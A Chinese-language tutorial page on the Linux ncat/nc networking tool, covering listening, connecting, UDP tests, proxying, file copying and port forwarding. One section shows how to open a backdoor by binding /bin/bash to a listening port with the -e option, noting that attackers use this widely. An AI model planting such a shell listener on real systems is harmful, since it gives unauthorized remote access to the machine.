您当前的位置:首页 > 电脑百科 > 软件技术 > 操作系统 > linux

linux系统ncat命令详解

时间:2019-10-28 10:24:28  来源:  作者:

概述

ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。 它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。

ncat/nc 既是一个端口扫描工具,也是一款安全工具,还是一款监测工具,甚至可以做为一个简单的 TCP 代理。 由于有这么多的功能,它被誉为是网络界的瑞士军刀。 这是每个系统管理员都应该知道并且掌握它。

以下基于centos7进行测试。


1、安装

yum install nmap-ncat -y
linux系统ncat命令详解--网络界的瑞士军刀

 

系统管理员可以用它来审计系统安全,用它来找出开放的端口然后保护这些端口。 管理员还能用它作为客户端来审计 Web 服务器、telnet 服务器、邮件服务器等, 通过 nc 可以控制发送的每个字符,也可以查看对方的回应。


2、监听入站连接

通过 -l 选项,ncat 可以进入监听模式,在指定端口监听入站连接。 完整的命令是这样的:

ncat -l port_number

比如

ncat -l 80

服务器就会开始在 8080 端口监听入站连接。

linux系统ncat命令详解--网络界的瑞士军刀

 


3、连接远程系统

使用下面命令可以用 nc 来连接远程系统

ncat IP_address port_number

实例:

ncat xx.xx.xx.xx 80

这会创建一个连接,连接到 IP 为xx.xx.xx.xx的服务器上的 80 端口,然后就可以向服务器发送指令了。


4、 连接 UDP 端口

默认情况下,nc 创建连接时只会连接 TCP 端口。 不过我们可以使用 -u 选项来连接到 UDP 端口

ncat -l -u 1234

现在系统会开始监听 UDP 的 1234 端口,可以使用下面的 netstat 命令来验证这一点

netstat -tunlp | grep 1234
linux系统ncat命令详解--网络界的瑞士军刀

 

假设想发送或者说测试某个远程主机 UDP 端口的连通性,可以使用下面命令

ncat -v -u {host-ip} {udp-port}

比如

linux系统ncat命令详解--网络界的瑞士军刀

 


5、将 nc 作为聊天工具

nc 也可以作为聊天工具来用,可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。

在服务器这端运行:

ncat -l 80
linux系统ncat命令详解--网络界的瑞士军刀

 

在远程客户端主机上运行:

ncat xx.xx.xx.xx 80
linux系统ncat命令详解--网络界的瑞士军刀

 

之后开始发送消息,这些消息会在服务器终端上显示出来。


6、将 nc 作为代理

nc 也可以用来做代理。比如下面这个例子

ncat -l 8080 | ncat xx.xx.xx.xx 80

所有发往服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,需要创建一个双向管道。 使用下面命令可以做到这点

mkfifo 2way
ncat -l 8080 0<2way | ncat xx.xx.xx.xx 1>2way

现在你可以通过 nc 代理来收发数据了


7、使用 nc 拷贝文件(不建议)

nc 还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了 ssh/scp。

在要接受数据的机器上启动 nc 并让它进入监听模式:

ncat -l 8080 > file.txt

现在去要被拷贝数据的机器上运行下面命令:

ncat xx.xx.xx.xx 8080 --send-only < data.txt

这里,data.txt 是要发送的文件。 -–send-only 选项会在文件拷贝完后立即关闭连接。 如果不加该选项, 需要手工按下 ctrl+c 来关闭连接。

我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心


8、通过 nc 创建后门

nc 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。创建后门的命令为:

ncat -l 10000 -e /bin/bash
linux系统ncat命令详解--网络界的瑞士军刀

 

-e 标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取系统的完整访问权限:

ncat xx.xx.xx.xx 10000
linux系统ncat命令详解--网络界的瑞士军刀

 


9、 通过 nc 进行端口转发

通过选项 -c 来用 nc 进行端口转发,实现端口转发的语法为:

ncat -u -l 80 -c 'ncat -u -l 8080'

这样,所有连接到 80 端口的连接都会转发到 8080 端口


10、设置连接超时

nc 的监听模式会一直运行,直到手工终止。 可以通过选项 -w 设置超时时间:

ncat -w 10 xx.xx.xx.xx 8080

这会导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。


11、 使用 -k 选项强制 nc 待命

当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 可以强制服务器保持连接并继续监听端口。 命令如下:

ncat -l -k 8080

现在即使来自客户端的连接断了也依然会处于待命状态。



Tags:linux ncat   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
概述ncat 或者说 nc 是一款功能类似 cat 的工具,但是是用于网络的。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。 它被设计成可以被脚本或其他程...【详细内容】
2019-10-28  Tags: linux ncat  点击:(143)  评论:(0)  加入收藏
▌简易百科推荐
作用显示文件或目录所占用的磁盘空间使用命令格式du [option] 文件/目录命令功能显示文件或目录所占用的磁盘空间一些写法的区别du -sh xxx 显示总目录的大小,但是不会列出...【详细内容】
2021-12-23  mitsuhide1992    Tags:du命令   点击:(12)  评论:(0)  加入收藏
什么是linux内核linux就像是一个哲学的最佳实践。如果非要对它评价,我真的不知道该怎么赞叹,我只能自豪地说着:“linux的美丽简直让人沉醉。”我只能说是我处在linux学习的修炼...【详细内容】
2021-12-23  linux上的码农    Tags:linux内核   点击:(15)  评论:(0)  加入收藏
本文将比较 Linux 中 service 和 systemctl 命令,先分别简单介绍这两个命令的基础用法,然后进行比较。从 CentOS 7.x 开始,CentOS 开始使用 systemd 服务来代替 service服务(dae...【详细内容】
2021-12-23  软件架构    Tags:systemctl   点击:(14)  评论:(0)  加入收藏
mv是move的缩写,可以用来移动文件或者重命名文件名,经常用来备份文件或者目录。命令格式mv [选项] 源文件或者目录 目标文件或者目录命令功能mv命令中第二个参数类型的不同(...【详细内容】
2021-12-17  入门小站    Tags:mv命令   点击:(23)  评论:(0)  加入收藏
大数据技术AI Flink/Spark/Hadoop/数仓,数据分析、面试,源码解读等干货学习资料 98篇原创内容 -->公众号 Linux sed 命令是利用脚本来处理文本文件。sed 可依照脚本的指令来处...【详细内容】
2021-12-17  仙风道骨的宝石骑士    Tags:sed命令   点击:(22)  评论:(0)  加入收藏
Node是个啥?  写个东西还是尽量面面俱到吧,所以有关基本概念的东西我也从网上选择性地拿了下来,有些地方针对自己的理解有所改动,对这些概念性的东西有过了解的可选择跳过这段...【详细内容】
2021-12-15  linux上的码农    Tags:node   点击:(25)  评论:(0)  加入收藏
难道只有我一个人觉得Ubuntu的unity桌面非常好用吗?最近把台式机上面的Ubuntu 16.04格式化了,装了黑苹果用了一周,不得不说,MacOS确实很精美,软件生态比Linux丰富很多,比Windows简...【详细内容】
2021-12-14  地球末日村    Tags:ubuntu   点击:(41)  评论:(0)  加入收藏
简介Netstat 命令用于显示各种网络相关信息,如网络连接,路由表,接口状态 (Interface Statistics),masquerade 连接,多播成员 (Multicast Memberships) 等等。输出信息含义执行net...【详细内容】
2021-12-13  窥镜天    Tags:Linux netstat   点击:(28)  评论:(0)  加入收藏
对于较多数量的文件描述符的监听无论是select还是poll系统调用都显得捉襟见肘,poll每次都需要将所有的文件描述符复制到内核,内核本身不会对这些文件描述符加以保存,这样的设计...【详细内容】
2021-12-13  深度Linux    Tags:Linux   点击:(19)  评论:(0)  加入收藏
今天,我们来了解下 Linux 系统的革命性通用执行引擎-eBPF,之所以聊着玩意,因为它确实牛逼,作为一项底层技术,在现在的云原生生态领域中起着举足轻重的作用。截至目前,业界使用范...【详细内容】
2021-12-10  架构驿站    Tags:eBPF   点击:(29)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条